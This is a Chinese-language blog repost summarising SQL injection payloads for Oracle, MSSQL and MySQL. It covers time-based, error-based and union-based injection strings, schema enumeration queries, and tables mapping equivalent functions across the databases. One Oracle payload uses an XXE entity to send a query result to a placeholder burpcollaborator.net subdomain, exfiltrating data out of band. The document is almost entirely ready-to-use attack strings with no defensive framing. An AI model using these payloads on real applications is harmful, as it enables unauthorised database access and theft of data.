不同数据库注入总结
Posted 向阳-Y.
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了不同数据库注入总结相关的知识,希望对你有一定的参考价值。
Oracle:
dual是oracle自带表:
select 'aaa' from dual;
同mysql的information_schema
select table_name from all_tables;
select columns_name from all_tables where table_name='USER';
时间注入:
select dbms_pipe.receive_message(('a'),10);
select count(*) from all_users t1, all_users t2, all_users t3, all_users t4, all_users t5
报错注入:
?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))
Version:
SELECT banner FROM v$version
SELECT version FROM v$instance
case when条件判断语句
select case when (substr(version(),1,1)='a') then 'a' || dbms_pipe.receive_message(('a'),10) else null end from dual;
DNSlog
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual
Mssql
@@version
@@servername
db_name()
user【当前用户】
IS_SRVROLEMEMBER()【数据库权限】
IS_MEMBER()
select top 1 name from admin;【这个应该和limit差不多】
判断是否为Mssql数据
id=1 and 1= exsits(select @@version)
从dbo.sysobjects来查询表
id =2 union all select (select db_name()) 【查询结果为数据库名】
id=-2 union all select (select top 1 name from 数据库名.dbo.sysobjects where xtype='u') 【例如:查询结果为表名】
从表中查询字段
id=-2 union all select (select top 1 col_name(object_id('表名'),1) from sysobjects)
id=-2 union all select (select top 1 col_name(object_id('表名'),2) from sysobjects)
延时注入
WAITFOR DELAY '0:0:10'
报错注入
and 1 = (select @@version)【报错,因为1为int型,@@version为字符型,所以会爆出相关信息】
and 1 = (convert(int,@@version))【报错,convert强制转换为int,但@@version是varchar类型,导致报错】
mysql&oracle&mssql的自带表不同
mysql | oracle | mssql |
---|---|---|
information_schema | all_tables | sysobject |
information_schema.tables | all_tables | 数据库名.dbo.sysobjects |
table_name | table_name | top 1 name |
column_name | column_name | top 1 col_name(object_id(‘表名’),1) |
mysql&oracle&mssql的不同举例
mysql | oracle | mssql |
---|---|---|
if | case when () then () else () end | case when () then () else () end |
database() | select name,dbid from v$database | db_name() |
sleep() | receive_message() | waitfor delay |
version() | select banner from v$version | @@version |
limit 0,1 | rownum=1 | top 1 |
不同的报错注入,这里只举例一个
mysql | oracle | mssql |
---|---|---|
updatexml | ctxsys.drithsx.sn | convert |
以上是关于不同数据库注入总结的主要内容,如果未能解决你的问题,请参考以下文章